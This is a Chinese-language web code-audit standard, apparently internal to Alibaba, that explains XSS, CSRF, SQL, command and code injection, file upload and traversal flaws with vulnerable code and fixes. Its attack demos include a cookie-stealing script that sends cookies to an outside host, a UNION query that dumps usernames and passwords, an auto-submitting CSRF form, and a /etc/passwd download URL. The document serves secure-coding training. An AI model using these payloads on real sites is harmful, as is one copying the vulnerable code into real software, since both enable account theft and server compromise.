xxx代码审计标准
ver 1.0
本文档是为了让大家对各种web安全威胁的产生原因、常见攻击手段有更深入的了解,并且作为各种web安全威胁的修补方案标准,以便大家能够快速的定位漏洞代码和解除安全隐患。
Cross Site Script(XSS),跨站脚本攻击。
攻击者利用应用程序的动态展示数据功能,在html页面里嵌入恶意代码。当用户浏览该页之时,这些嵌入在html中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的。
跨站脚本攻击有两种攻击形式
1、反射型跨站脚本攻击
攻击者会通过社会工程学手段,发送一个URL连接给用户打开,在用户打开页面的同时,浏览器会执行页面中嵌入的恶意脚本。
2、存储型跨站脚本攻击
攻击者利用web应用程序提供的录入或修改数据功能,将数据存储到服务器或用户cookie中,当其他用户浏览展示该数据的页面时,浏览器会执行页面中嵌入的恶意脚本。所有浏览者都会受到攻击。
3、DOM跨站攻击
由于html页面中,定义了一段JS,根据用户的输入,显示一段html代码,攻击者可以在输入时,插入一段恶意脚本,最终展示时,会执行恶意脚本。
DOM跨站和以上两个跨站攻击的差别是,DOM跨站是纯页面脚本的输出,只有规范使用JAVASCRIPT,才可以防御。
恶意攻击者可以利用跨站脚本攻击做到:
1、盗取用户cookie,伪造用户身份登录。
2、控制用户浏览器。
3、结合浏览器及其插件漏洞,下载病毒木马到浏览者的计算机上执行。
4、衍生URL跳转漏洞。
5、让官方网站出现钓鱼页面。
6、蠕虫攻击
直接在html页面展示“用户可控数据”,将直接导致跨站脚本威胁。
Java示例:
某JSP文件
while(rs.next()) { %> <tr> <td><%=rs.getInt(“id”) %> </td> <td><% =rs.getString(“pname”) %> </td> <td><%=rs.getString(“pdesc”)%> </td> <td><%=rs.getString(“ptype”)%> </td> </tr> <% }
代码中这几个加粗的变量“rs.getInt(“id”)、rs.getString(“pname”) 、 rs.getString(“pdesc”) 、 rs.getString(“ptype”) ”,被直接输出到了页面中,没有做任何安全过滤,一旦让用户可以输入数据,都可能导致用户浏览器把“用户可控数据”当成JS/VBS脚本执行,或页面元素被“用户可控数据”插入的页面HTML代码控制,从而造成攻击。
PHP代码示例
<tr> <td>< ? = $row[ “id” ] ? > </td> <td>< ? = $row[ “pname” ] ? > </td> <td>< ? = $row[ “pdesc” ]? > </td> <td>< ? = $row[ “ptype” ]? > </td> </tr>
如果“代码示例”中的代码,是alibaba.com上的一个web应用,恶意用户可以做以下攻击。
攻击流程:
添加产品时插入恶意脚本 攻击者发布产品后,等待用户来浏览产品列表页面。
页面代码
页面中直接显示了攻击者当时提交的“pdesc”的内容,也就是恶意脚本。
将执行http://inbreak.net/a.js 这个JS脚本。
脚本内容:
a=document.createElement(“iframe”);function b(){e=escape(document.cookie);c=[“http://www.inbreak.net/kxlzxtest/testxss/ a .php?cookie= “,e,Math.random()];document.body.appendChild(a);a.src=c.join();}setTimeout(‘b()’,5000);
获取当前浏览者的COOKIE,并发送到a.php,这个文件负责接收到用户发来的cookie,并保存为haha.txt文件。这时,用户的cookie已经发送到了攻击者的服务器上,攻击者可以打开haha.txt文件。
这就是刚才那个用户的cookie,攻击者可以使用浏览器插件,把自己的cookie替换成刚刚窃取用户的cookie。之后攻击者再次访问服务器时,服务器应用程序,就认为攻击者的身份是刚刚那个用户。
HTML/XML页面输出规范:
在HTML/XML中显示“用户可控数据”前,应该进行html escape转义。 JAVA示例:
<div>#escapeHTML($user.name) </div> <td>#escapeHTML($user.name) </td>所有HTML和XML中输出的数据,都应该做html escape转义。
escapeHTML函数参考esapi实现:
http://code.google.com/p/owasp-esapi-java/source/browse/trunk/src/main/java/org/owasp/esapi/codecs/HTMLEntityCodec.java
PHP示例:
<div>htmlentities($row[ “ user.name “ ] )</div>所有HTML和XML中输出的数据,都应该做html escape转义。
escapeHTML 需要进行html转义应该按照以下列表进行转义
& –> & < –> < > –> > ” –> ” ‘ –> ‘
2,在javascript内容中输出的“用户可控数据”,需要做javascript escape转义。
html转义并不能保证在脚本执行区域内数据的安全,也不能保证脚本执行代码的正常运行。
JAVA示例:
<script>alert(‘#escapeJavaScript($user.name ) ‘)</script> <script>x=’#escapeJavaScript($user.name) ‘</script> <div onmouseover=”x=’#escapeJavaScript($user.name) ‘”</div>
需要转义的字符包括
/ –> \/’ –> \'” –> \”\ –> \\
escapeJavaScript函数参考esapi实现:
http://code.google.com/p/owasp-esapi-java/source/browse/trunk/src/main/java/org/owasp/esapi/codecs/JavaScriptCodec.java
3,对输出到富文本中的“用户可控数据”,做富文本安全过滤(允许用户输出HTML的情况)。
示例(Fasttext框架):
<td>文章内容:</td><td>#SHTML($article.context) </td>
安全过滤的代码,请参考“Fasttext框架”的富文本输出函数。
Fasttext源码:
http://svn.alibaba-inc.com/repos/ali_cn/commons/headquarters/trunk/commons/fasttext/
4,输出在url中的数据,做url安全输出。
一些html标签的属性,需要,如果接收“用户可控数据”,需要做安全检查。
以下属性的值,如果是用户可控数据,需要做安全检查
‘action’, ‘background’, ‘codebase’, ‘dynsrc’, ‘href’, ‘lowsrc’, ‘src’,
这些属性的值,一般都是一个URL,如果整串URL都是由“用户可控数据”组成的,则必须满足以下条件:
1)以“http”开头
char[] uc = url.toCharArray();if(uc[0] != ‘h’ || uc[1] != ‘t’ || uc[2] != ‘t’ || uc[3] != ‘p’){return “”;}
2)转义“用户可控数据”中的以下字符
< –> %3C> –> %3E” –> %22′ –> %27
举例使用:
<a href=”#surl($url) ”>链接</a><img src=”#surl($imgurl) ”>。。。
Surl函数参考fasttext框架中的实现:
http://svn.alibaba-inc.com/repos/ali_cn/commons/headquarters/trunk/commons/fasttext/src/java/com/alibaba/china/fasttext/codec/URLRebuilder.java
5,针对DOM跨站的解决方案,详见《javascript安全编码规范》,URL在
http://security.alibaba-inc.com/twiki/bin/view/Security/SecuritySolution/JavaScript%E7%BC%96%E7%A0%81%E5%AE%89%E5%85%A8%E8%A7%84%E8%8C%83
6,在给用户设置认证COOKIE时,加入HTTPONLY,详见《 Cookie httponly flag 》章节。
7,在style内容中输出的“用户可控数据”,需要做 CSS escape转义。
举例使用:
String safe = ESAPI.encoder().encodeForCSS( request.getParameter(“input”) );
encodeForCSS实现代码参考:
http://code.google.com/p/owasp-esapi-java/source/browse/trunk/src/main/java/org/owasp/esapi/codecs/CSSCodec.java
AJAX输出规范:
1、XML输出“用户可控数据”时,对数据部分做HTML转义。
示例:
<?xml version=”1.0″ encoding=”UTF-8″ ?> <man> <name>#xmlEscape($name) </name> <man>
2、json输出要先对变量内容中的“用户可控数据”单独作htmlEscape,再对变量内容做一次javascriptEscape。
String cityname=” 浙江<B> ” +StringUtil.htmlEscape(city.name)+ ” </B> ” ; String json = “citys:{city:[‘”+StringUtil.javascript(cityname) +”‘]}”;
3、非xml输出(包括json、其他自定义数据格式),response包中的http头的contentType,必须为json,并且用户可控数据做htmlEscape后才能输出。
response.setContentType(“application/json”); PrintWriter out = response.getWriter();out.println(StringUtil.htmlEscape( ajaxReturn ) );
FLASH 安全
利用flash服务端和客户端在安全配置和文件编码上的问题,导致攻击者可以利用客户端的flash文件发起各种请求或者攻击客户端的页面。
FLASH的安全问题主要有服务端的安全设计问题和客户端的flash安全两块:
1、服务端的安全
由于没有正确的配置域策略文件,导致客户端的flash文件能够绕过同源策略的限制跨域获取数据。
2、客户端安全
客户端在嵌入flash文件的时候没有指定flash文件的客户端限制策略,导致嵌入在客户端的flash文件可以访问HTML页面的DOM数或者发起跨域请求。
恶意攻击者利用FLASH的安全问题可以:
1、绕过浏览器同源策略的限制发起跨域请求,比如发起CSRF攻击等。
2、直接更改页面的dom树,发起钓鱼或者跨站攻击。
服务器端crossdomain.xml的错误配置:
<?xml version=”1.0″?> <cross-domain-policy><allow-access-from domain=” * ” /> </cross-domain-policy>
这样的配置可以导致允许任何来自网络上的请求、不论该请求是来自本域内还是其它域发起的。
客户端嵌入flash的错误配置:
例子中的allowscriptaccess选项为always,这样的配置会使flash对于html的通讯也就是执行javascript不做任何限制,默认情况下值为“SameDomain”,既只允许来自于本域的flash与html通讯,建议设置为never;例子中没有设置allowNetworking选项,需要把allowNetworking设置为none,因为allowNetworking在设置为all(默认是)或者是internal的情况下会存在发生csrfCSRF的风险,因为flash发起网络请求继承的是浏览器的会话,而且会带上session cookie和本地cookie。
1.引发XSS攻击:
在一个页面中嵌入flash的代码如下:
<body> <hi>My Flash Movie</h1> <object type=”application/x-shockwave-flash” width=”550” heigt=”400”> <param name=”allovwScriptAccess” value=”sameDomain”> <param name=”movie” value=”myMovie.swf”> <param name=”quality” value=”high”> <param name=”bgcolor” value=”#ffffff”> <embed src=”myMove.swf” width=”550” height=”400”></embed></object></body>
用户可以在同域下的某个地方上传一个flash文件
如果用户制作一个flash代码如下:
Var secretUsername = “cnben”;Var secretPassword = “hello1234”;outputBox.htmlText = “please enter a password”;function checkpassword(){outputBox.htmlText = “You must be a valid user.”;}else{outputBox.htmlText = usernameBox.text +”error”}}Function serPassword(newPassword:String){secretPassword = newPassword;}
下面的请求将包含并执行一个存放在远程主机是哪个的javascript文件:
http://test.com/movie.swf?userParam=<script src=”http://evil.com/script/js”></script>
2.发起CSRF攻击
如果allowNetworking选项没有做配置,默认为all,这种情况下,上传一个如下代码的swf文件,用户访问包含这个swf文件的额网页将发起一次CSRF攻击:
import flash.net.URLRequest; import flash.system.Security; var url = new URLRequest(“提交的目标地址”); var Param = new URLVariables(); Param = “参数”; url.method = “POST”; url.data = Param; sendToURL(url); stop();
F lash配置规范:
1、Crossdomain.xml的安全配置:
如果没有flash应用,去掉crossdomian.xml文件,对有flash应用域的根目录下需要配置crossdomain.xml策略文件,设置为只允许来自特定域的请求,比如淘宝的配置文件如下:
<cross-domain-policy><allow-access-from domain=”*.taobao.com”/><allow-access-from domain=”*.taobao.net”/><allow-access-from domain=”*.taobaocdn.com”/><allow-access-from domain=”*.allyes.com”/><allow-access-from domain=”taobao.123show.com”/><allow-access-from domain=”taobaoa.123show.com”/><allow-access-from domain=”*.alimama.com”/><allow-access-from domain=”*.alimama.cn”/><allow-access-from domain=”*.alimama.net”/><allow-access-from domain=”*.hippb.com.cn”/><allow-access-from domain=”*.lianpi.com”/><allow-access-from domain=”*.tbcdn.cn”/><allow-access-from domain=”*.kbcdn.com”/><allow-access-from domain=”*.koubei.com”/></cross-domain-policy>
不允许添加<site-control permitted-cross-domain-policies=”by-content-type”/>,这样会导致客户端可能自己加载自定义策略文件。
2、客户端嵌入flash文件的安全配置:
1)禁止设置flash的allowscriptaccess为always,必须设置为never,如果设置为SameDomain,需要客户可以上传的flash文件要在单独的一个域下。
2)设置allowNetworking选项为none。
3)设置allowfullscreen选项为false。
如下配置:
<embed allowscriptaccess=”never” allowNetworking = ” none ” allowfullscreen = ” false ” height=384 width=454 src=”用户自定义的一个flash文件” wmode=”transparent” loop=”false” autostart=”false”>
flash 开发规范:
移除敏感信息 确认没有包含像用户名、密码、SQL查询或者其他认证信息在swf文件里面,因为swf文件能够被简单的反编译而使信息泄露
客户端的验证能够通过反编译软件轻易的去除后重新编译,必须在客户端和服务端都做一次验证,但是服务端的验证不能少
去除类似于“trace”和其他一些调试语句,因为他们能够暴露代码或数据的功能,如下代码片段暴露了该段代码的验证功能:
如果有加载外部数据的需求,尽量不要在html中用“params”标签或者是querystring这种形式来注入数据到swf文件中。可以的办法是通过sever端的一个http请求来得到参数。
flash文件如果有和其他swf文件通信的需求,需要在swf中配置allowDomain()为制定的来源,禁止用*符号来允许任意来源
如下AS代码被严格禁止:
AS2.0中接受用户通过FlashVars和Querystring中传入的数据并放到全局变量空间中,如果利用不当会引发变量未初始化漏洞从而绕过部分认证,如下AS代码片段所示:
如果用户在GET请求或者在HTML中作为一个对象参数将userLoggedIn设为true,如下所示:
解决方案:AS2.0使用_resolve属性捕获未定义的变量或函数,如下所示:
当FLASH加载调用外部文件的时候需要过滤掉里面的恶意内容,
主要有metadata里面的数据和flash mp3 player里的Mp3 ID3 Data,可以引发XSS漏洞(使攻击者可以执行任意javascript),如下代码片段所示:
如果test.flv中包含了js代码将被执行;
禁止直接调用ExternalInterface.call来接受外部参数 ExternalInterface.call可以直接调用客户端的js脚本,如下as代码片段所示:
如果用户提交变量eval,提交参数为任意js语句,那么用户提交的代码就会被执行。
Third-party script references 安全威胁 Third-party script references,引用第三方网站脚本或iframe指向第三方网站。
第三方网站,是指任何一个非阿里巴巴集团的网站。
当html页面引用了第三方网站的脚本,或者有iframe指向第三方网站时,一旦这个第三方网站出现安全问题,被黑客控制写入恶意脚本,那么该页面或脚本也会展示在阿里巴巴网站上,会导致阿里巴巴网站的访问者间接受到影响。
代码示例 下面是一段引用第三方网站脚本的代码:
<script src= ” http://www.hacker.com/ trojan .js ” ></script>
这段代码会执行www.hacker.com网站下的trojan.js脚本。
下面是一段引用第三方网站iframe的代码:
<iframe src= ” http://www.hacker.com/ trojan .htm ” ></iframe>
这段代码会同时打开http://www.hacker.com/trojan.htm这个页面。
攻击方法 如果“代码示例”中的代码,是alibaba.com上的一个web页面,恶意用户可以做以下攻击。
恶意用户会先入侵www.hacker.com 这个网站,之后将恶意代码加入
http://www.hacker.com/trojan.js
当这个文件有恶意代码时,也会被展示在阿里巴巴的web页面上。
解决方案 禁止引用第三方脚本,禁止iframe引用第三方页面。
Cross-Site Request Forgery(CSRF),跨站请求伪造攻击。
攻击者在用户浏览网页时,利用页面元素(例如img的src),强迫受害者的浏览器向Web应用程序发送一个改变用户信息的请求。
由于发生CSRF攻击后,攻击者是强迫用户向服务器发送请求,所以会造成用户信息被迫修改,更严重者引发蠕虫攻击。
CSRF攻击可以从站外和站内发起。从站内发起CSRF攻击,需要利用网站本身的业务,比如“自定义头像”功能,恶意用户指定自己的头像URL是一个修改用户信息的链接,当其他已登录用户浏览恶意用户头像时,会自动向这个链接发送修改信息请求。
从站外发送请求,则需要恶意用户在自己的服务器上,放一个自动提交修改个人信息的htm页面,并把页面地址发给受害者用户,受害者用户打开时,会发起一个请求。
如果恶意用户能够知道网站管理后台某项功能的URL,就可以直接攻击管理员,强迫管理员执行恶意用户定义的操作。
一个没有CSRF安全防御的代码如下:
HttpServletRequest request, HttpServletResponse response) { int userid=Integer.valueOf( request.getSession().getAttribute(“userid”).toString()); String email=request.getParameter(“email”); String tel=request.getParameter(“tel”); String realname=request.getParameter(“realname”); Object[] params = new Object[ 4 ]; params[0] = email; params[1] = tel; params[2] = realname; params[ 3 ] = userid; final String sql = “update user set email=?,tel=?,realname=? where userid=?”; conn.execUpdate(sql,params);
PHP示例代码:
$ userid= $_SESSION[ “userid” ] ; $ email= $_REQUEST[ “email” ] ; $ tel= $_REQUEST[ “tel” ] ; $ realname= $_REQUEST[ “realname” ] ; $ params = array() ; $ params[0] = $ email; $ params[1] = $ tel; $ params[2] = $ realname; $ params[ 3 ] = $ userid; $ sql = “update user set email=?,tel=?,realname=? where userid=?”; execUpdate( $ sql, $ params);
代码中接收用户提交的参数“email,tel,realname”,之后修改了该用户的数据,一旦接收到一个用户发来的请求,就执行修改操作。
提交表单代码:
<form action=”http://localhost/servlet/modify” method=”POST”> <input name=”email”> <input name=”tel”> <input name=”realname”> <input name=”userid”> <input type=”submit”> </form>
当用户点提交时,就会触发修改操作。
本例子是一个站外发起CSRF攻击例子。
如果“代码示例”中的代码,是alibaba.com上的一个web应用,那么恶意用户为了攻击alibaba.com的登录用户,可以构造2个HTML页面。
页面a.htm中,iframe一下b.htm,把宽和高都设为0。 <iframe src=”b.htm ” width= “0” height= “0” ></frame>
这是为了当攻击发生时,受害用户看不到提交成功结果页面。
页面b.htm中,有一个表单,和一段脚本,脚本的作用是,当页面加载时,自动提交这个表单。 <form id=”modify” action=”http://alibaba.com/servlet/modify” method=”POST”> <input name=”email”><input name=”tel”><input name=”realname”><input name=”userid”><input type=”submit”></form><script> document.getElementById(“modify”).submit(); </script>
攻击者只要把页面a.htm放在自己的web服务器上,并发送给登录用户即可。 用户打开a.htm后,会自动提交表单,发送给alibaba.com下的那个存在CSRF漏洞的web应用,所以用户的信息,就被迫修改了。 在整个攻击过程中,受害者用户仅仅看到了一个空白页面(可以伪造成其他无关页面),并且一直不知道自己的信息已经被修改了。
要防御CSRF攻击,必须遵循一下三步:
在用户登陆时,设置一个CSRF的随机TOKEN,同时种植在用户的cookie中,当用户浏览器关闭、或用户再次登录、或退出时,清除token。 在表单中,生成一个隐藏域,它的值就是COOKIE中随机TOKEN。 表单被提交后,就可以在接收用户请求的web应用中,判断表单中的TOKEN值是否和用户COOKIE中的TOKEN值一致,如果不一致或没有这个值,就判断为CSRF攻击,同时记录攻击日志(日志内容见“Error Handing and Logging”章节)。 由于攻击者无法预测每一个用户登录时生成的那个随机TOKEN值,所以无法伪造这个参数。
示例:
1 <form method=”post” id=”xxxx” name=”xxxx” style=”margin:0px;”> 2 $csrfToken.hiddenField 3 … 4 </form>
代码中$csrfToken.hiddenField将会生成一个隐藏域,用于生成验证token,它将会作为表单的其中一个参数一起提交。
建议使用CSRF防御框架,覆盖所有web应用,示例参考《中文站CSRF攻击防御方案》,该方案适用于java项目。
注意:
当出现GET请求修改用户数据时,一旦在url中出现了csrftoken,当前页面就不允许出现用户定义的站外链接,否则攻击者可以引诱用户点击攻击者定义的链接,访问在自己的网站,从referer中,获取url中的csrftoken,造成csrftoken泄露。
1、为什么不直接验证referer?
网站内部,也可以发出的CSRF攻击。
2、如果先发生xss攻击,攻击者可以拿到用户页面的token怎么办?
CSRF防御,是建立在XSS防御之后的防御。如果已经出现了XSS漏洞,攻击者就可以拿到用户页面中的所有信息,CSRF防御会失去效果,必须做好XSS防范。
所有修改用户个人信息的请求,都会受到CSRF漏洞影响。如果一个表单功能只是查询,不会修改任何数据,就不会受到CSRF漏洞影响。
URL redirectURL redirect,URL跳转攻击。
Web应用程序接收到用户提交的URL参数后,没有对参数做“可信任URL”的验证,就向用户浏览器返回跳转到该URL的指令。
如果alibaba.com下的某个web应用程序存在这个漏洞,恶意攻击者可以发送给用户一个alibaba.com的链接,但是用户打开后,却来到钓鱼网站页面,将会导致用户被钓鱼攻击,账号被盗,或账号相关财产被盗。
这是一段没有验证目的地址,就直接跳转的经典代码:
if(checklogin(request)){ response.sendRedirect(request.getParameter(“url”)); }
这段代码存在URL跳转漏洞,当用户登陆成功后,会跳转到url参数所指向的地址。
一个正常的流程如下:
1)买家用户发送一个商品连接给商家用户。
2)商家用户打开连接,跳转到登陆页面。
3)商家用户登陆,之后自动跳转到登录前的商品页面。
攻击演示:
如果“代码示例”中的代码,是alibaba.com下的一个web应用程序。
1)攻击者可以发送
http://china.alibaba.com/member/sigin.htm?done=http://www.hacker.com:8080/ali/sigin.htm
诱惑用户打开。
2)用户打开页面。
显示需要登陆,于是用户输入了账户和密码,登陆。
3)无论用户输入什么,都跳转到了恶意攻击者指定的钓鱼页面,这个页面显示给用户“会员登录名或密码错误”,注意URL中的链接地址。
4)用户看到“密码错误”,就再次输入密码。
由于用户现在看到的页面,其实是恶意攻击者伪造的钓鱼程序,而用户却以为这些操作都是在alibaba网站上做的,所以用户在钓鱼程序中输入了密码。
为了保证用户所点击的URL,是从web应用程序中生成的URL,所以要做TOKEN验证。
1、当用户访问需要生成跳转URL的页面时,首先生成随机token,并放入cookie。
2、在显示连接的页面上生成URL,在URL参数中加入token。
示例:
http://china.alibaba.com/member/sigin.htm?done =http://www. alibaba.com&token=5743892783432432
应用程序在跳转前,判断token是否和cookie中的token一致,如果不一致,就判定为URL跳转攻击,并记录日志(日志内容见“Error Handing and Logging”章节)。 如果在javascript中做页面跳转,需要判断域名白名单后,才能跳转。 如果应用只有跳转到阿里巴巴集团网站 的需求,可以设置白名单,判断目的地址是否在白名单列表中,如果不在列表中,就判定为URL跳转攻击,并记录日志(日志内容见“Error Handing and Logging”章节)。不允许配置集团以外网站到白名单列表中。
这两个方案都可以保证所有在应用中发出的重定向地址,都是可信任的地址。
SQL injectionSQL injection,SQL注入攻击。
当应用程序将用户输入的内容,拼接到SQL语句中,一起提交给数据库执行时,就会产生SQL注入威胁。
由于用户的输入,也是SQL语句的一部分,所以攻击者可以利用这部分可以控制的内容,注入自己定义的语句,改变SQL语句执行逻辑,让数据库执行任意自己需要的指令。通过控制部分SQL语句,攻击者可以查询数据库中任何自己需要的数据,利用数据库的一些特性,可以直接获取数据库服务器的系统权限。
本来SQL注入攻击需要攻击者对SQL语句非常了解,所以对攻击者的技术有一定要求。但是几年前,已经出现了大量SQL注入利用工具,可以让任何攻击者,只要点几下鼠标,就能达到攻击效果,这使得SQL注入的威胁,极大增加。
只要支持JDBC查询,并且开发人员使用了语句拼接,都会产生这种漏洞。
Java(jdbc)示例:
HttpServletRequest request, HttpServletResponse response) { JdbcConnection conn = new JdbcConnection(); final String sql = “select * from product where pname like ‘%” + request.getParameter(“pname”) + “%'”; conn.execqueryResultSet(sql);
Java(ibatis)示例
<select id=”unsafe” resultMap=”myResultMap”> select * from table where name like ‘% $value$ %’ </select> UnSafeBean b = (UnSafeBean)sqlMap.queryForObject(“value”, request.getParameter(“name”));
PHP示例:
$ sql = “select * from product where pname like ‘%” . $_REQUEST[ “pname” ] . “%'”; mysqli_query( $link,$ sql);
这里把用户输入的pname拼接到SQL语句中。
如果“代码示例”中的代码,是alibaba.com下的一个web应用程序。
源数据查询地址是:
当攻击者注入自己定义的语句时,访问URL为:
http://localhost:8080/struts1/listProduct.htm?pname=e’ and 1=2 union select 1,name,pass,4 from user where ”<>’
这时,数据库执行的语句为
select * from product where pname like ‘%e’ and 1=2 union select 1,name,pass,4 from user where ”<>’ %’
加粗部分为用户输入的pname的值。
于是执行了关联查询,显示出了user表中的name和pass的字段。
攻击者可以利用这种方法,执行任意SQL语句。
使用预处理执行SQL语句,对所有 传入SQL语句中的变量,做绑定。这样,用户拼接进来的变量,无论内容是什么,都会被当做替代符号“?”所替代的值,数据库也不会把恶意用户拼接进来的数据,当做部分SQL语句去解析。
Java odbc示例:
com.mysql.jdbc.Connection conn = db.JdbcConnection.getConn();final String sql = “select * from product where pname like ? “;java.sql.PreparedStatement ps = (java.sql.PreparedStatement) conn.prepareStatement(sql);ps.setObject(1, “%”+request.getParameter(“pname”)+”%”); ResultSet rs = ps.executeQuery();
PHP示例:
$query = “INSERT INTO myCity (Name, CountryCode, District) VALUES (?,?,?)”;$stmt = $mysqli->prepare ($query);$stmt->bind_param (“sss”, $val1, $val2, $val3);$val1 = ‘Stuttgart’;$val2 = ‘DEU’;$val3 = ‘Baden-Wuerttemberg’;/* Execute the statement */$stmt->execute();
无论使用了哪个ORM框架,都会支持用户自定义拼接语句,经常有人误解Hibernate没有这个漏洞,其实Hibernate也支持用户执行JDBC查询,并且支持用户把变量拼接到SQL语句中。
Code injectionCode injection,代码注入攻击
web应用代码中,允许接收用户输入一段代码,之后在web应用服务器上执行这段代码,并返回给用户。
由于用户可以自定义输入一段代码,在服务器上执行,所以恶意用户可以写一个远程控制木马,直接获取服务器控制权限,所有服务器上的资源都会被恶意用户获取和修改,甚至可以直接控制数据库。
示例1 — JAVA
servlet代码:
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType(“text/html”); PrintWriter out = response.getWriter(); try { File file = File.createTempFile(“JavaRuntime”, “.java”, new File( System.getProperty(“user.dir”))); String filename = file.getName(); String classname = filename.substring(0, filename.length() – 5); String[] args = new String[] { “-d”, System.getProperty(“user.dir”), filename }; PrintWriter outfile = new PrintWriter(new FileOutputStream(file)); outfile.write(“public class ” + classname + “{public void myfun(String args)” + “{try {” + request.getParameter(“code”) + “} catch (Exception e) {}}}”); outfile.flush(); outfile.close(); (new Main()).compile(args, outfile); URL url = new URL(“file://” + file.getPath().substring(0, file.getPath().lastIndexOf(“\\”) + 1)); java.net.URLClassLoader myloader = new URLClassLoader( new URL[] { url }, Thread.currentThread() .getContextClassLoader()); Class cls = myloader.loadClass(classname); cls.getMethod(“myfun”, new Class[] { String.class }).invoke( cls.newInstance(), new Object[] { “” }); } catch (Exception se) { se.printStackTrace(); } out.println(); out.flush(); out.close(); }
PHP代码示例
eval($_REQUEST[“kxlzx”]);
接收用户输入的code参数内容,编译为一个class文件,之后调用这个文件相关代码。
示例2 — JAVA
一个三方工具包装好的eval调用:
import bsh.Interpreter; Interpreter i = new Interpreter(); //这段代码将执行System.out.println( “kxlzx” );i.eval(“System.out.println( “kxlzx” );”);
一旦eval函数的参数是用户自定义的,将导致java代码注入威胁。
详细请参考http://www.beanshell.org/manual/embeddedmode.html
对于以上的示例1中的代码,用户可以构造如下URL攻击服务器:
http://www.alibaba.com/servlet/Active?code=System.out.println(“kxlzx”);
执行结果见下图
执行代码的参数,或文件名,禁止和用户输入相关,只能由开发人员定义代码内容,用户只能提交“1、2、3”参数,代表相应代码。
XML injectionXML injection,XML注入安全攻击。
和SQL注入原理一样,XML是存储数据的地方,如果在查询或修改时,如果没有做转义,直接输入或输出数据,都将导致XML注入漏洞。攻击者可以修改XML数据格式,增加新的XML节点,对数据处理流程产生影响。
这里是一个保存注册用户信息为xml的例子:
final String GUESTROLE = “guest_role”;…//userdata是准备保存的xml数据,接收了name和email两个用户提交来的数据。String userdata = “<USER role=”+ GUESTROLE+ “><name>”+ request.getParameter(“name”)+ “</name><email>”+ request.getParameter(“email”)+ “</email></USER>”;//保存xmluserDao.save(userdata);
代码没有做任何过滤。
原本注册用户后,应该产生一条这样的用户记录
<?xml version=”1.0″ encoding=”UTF-8″?><USER role=”guest_role”> <name>user1 </name> <email>user1@a.com </email></USER>
但是当恶意用户输入自己的email时,输入了
user1@a.com</email></USER><USER role=”admin_role”><name>kxlzx</name><email>user2@a.com
最终用户注册后,数据就变成了
<?xml version=”1.0″ encoding=”UTF-8″?><USER role=”guest_role”> <name>user1 </name> <email>user1@a.com</email> </USER> <USER role=”admin_role”> <name>kxlzx</name> <email>user2@a.com </email></USER>
从数据结果看,增加了一条管理员“李四”。
在XML保存和展示前,对数据部分,单独做xml escape。
String userdata = “<USER role=”+ GUESTROLE+ “><name>”+ StringUtil.xmlencode(request.getParameter(“name”))+ “</name><email>”+ StringUtil.xmlencode(rrequest.getParameter(“email”))+ “</email></USER>”;
按照以下列表做转义
& –> & < –> < > –> > ” –> ” ‘ –> ‘
System command injectionSystem command injection,系统命令注入攻击。
系统命令执行攻击,是指代码中有一段执行系统命令的代码,但是系统命令需要接收用户输入,恶意攻击者可以通过这个功能直接控制服务器。
Runtime.getRuntime().exec(request.getParameter(“cmd”));
PHP代码示例
这段代码接收用户传递的cmd参数,执行系统命令。
以上代码攻击者可以输入
http://www.alibaba.com/servlet/command?cmd=shutdown
系统就会自动关机。
所有需要执行的系统命令,必须是开发人员定义好的,不允许接收用户传来的参数,加入到系统命令中去。
任何一个执行系统命令的代码,都必须经过安全工程师确认。
F ile uploadFile upload,任意文件上传攻击。
Web应用程序在处理用户上传的文件时,没有判断文件的扩展名是否在允许的范围内,就把文件保存在服务器上,导致恶意用户可以上传任意文件,甚至上传脚本木马到web服务器上,直接控制web服务器。
处理用户上传文件请求的代码,这段代码没有过滤文件扩展名。
PrintWriter pw = new PrintWriter(new BufferedWriter(new FileWriter( request.getRealPath(“/”)+ getFIlename( request ) ))); ServletInputStream in = request.getInputStream(); int i = in.read(); while (i != -1) { pw.print((char) i); i = in.read(); } pw.close();
PHP代码示例
file_put_contents ($_REQUEST[ “ filename “ ],$_REQUEST[ “ context “ ]);
攻击实例 如果“代码示例”中的代码,是alibaba.com下的一个web应用程序。
这段代码将直接把用户上传的文件,保存在web目录中,上传后,用户可以通过
http://www.alibaba.com/jspmuma.jsp
访问上传的JSP木马,控制服务器,下图为上传的木马:
即使jsp文件不会被web容器解析执行,攻击者也可以上传自定义的htm文件,造成XSS攻击。
处理用户上传文件,要做以下检查:
检查上传文件扩展名白名单,不属于白名单内,不允许上传。 上传文件的目录必须是http请求无法直接访问到的。如果需要访问的,必须上传到其他(和web服务器不同的)域名下,并设置该目录为不解析jsp等脚本语言的目录。 上传文件要保存的文件名和目录名由系统根据时间生成,不允许用户自定义。 图片上传,要通过处理(缩略图、水印等),无异常后才能保存到服务器。 上传文件需要做日志记录,请参照“Error Handing and Logging章节”。 File download and Directory traversal,任意文件下载攻击和目录遍历攻击。
处理用户请求下载文件时,允许用户提交任意文件路径,并把服务器上对应的文件直接发送给用户,这将造成任意文件下载威胁。如果让用户提交文件目录地址,就把目录下的文件列表发给用户,会造成目录遍历安全威胁。
恶意用户会变换目录或文件地址,下载服务器上的敏感文件、数据库链接配置文件、网站源代码等。
处理用户请求的代码
String path = request.getParameter(“path”); java.io.OutputStream os = response.getOutputStream(); java.io.FileInputStream fis = new java.io.FileInputStream(path); byte[] b = new byte[1024]; int i = 0; while ((i = fis.read(b)) > 0 ){ os.write(b, 0, i); } fis.close(); os.flush(); os.close();
PHP代码示例
$o = file_get_contents($filename );echo $o;
这段代码根据用户提交的path,从服务器上获取指定文件,展示给用户。
攻击者会变化参数中的文件名,下载服务器中的敏感文件,数据库配置文件等。
示例:
http://www.alibaba.com/filedownload.do?filename=/etc/passwd
对文件操作功能,做到以下几点:
1,要下载的文件地址保存至数据库中。
2,文件路径保存至数据库,让用户提交文件对应ID下载文件。
3,下载文件之前做权限判断。
4,文件放在web无法直接访问的目录下。
5,记录文件下载日志(内容见日志章节)。
6,不允许提供目录遍历服务。
记录不符合规范的上传文件日志(日志内容请参考“Error Handing and Logging”章节)
Vertical Access Control,垂直权限安全攻击,也就是权限提升攻击。
由于web应用程序没有做权限控制,或仅仅在菜单上做了权限控制,导致的恶意用户只要猜测其他管理页面的URL,就可以访问或控制其他角色拥有的数据或页面,达到权限提升目的。
这个威胁可能导致普通用户变成管理员权限。
一个仅仅做了菜单控制的代码:
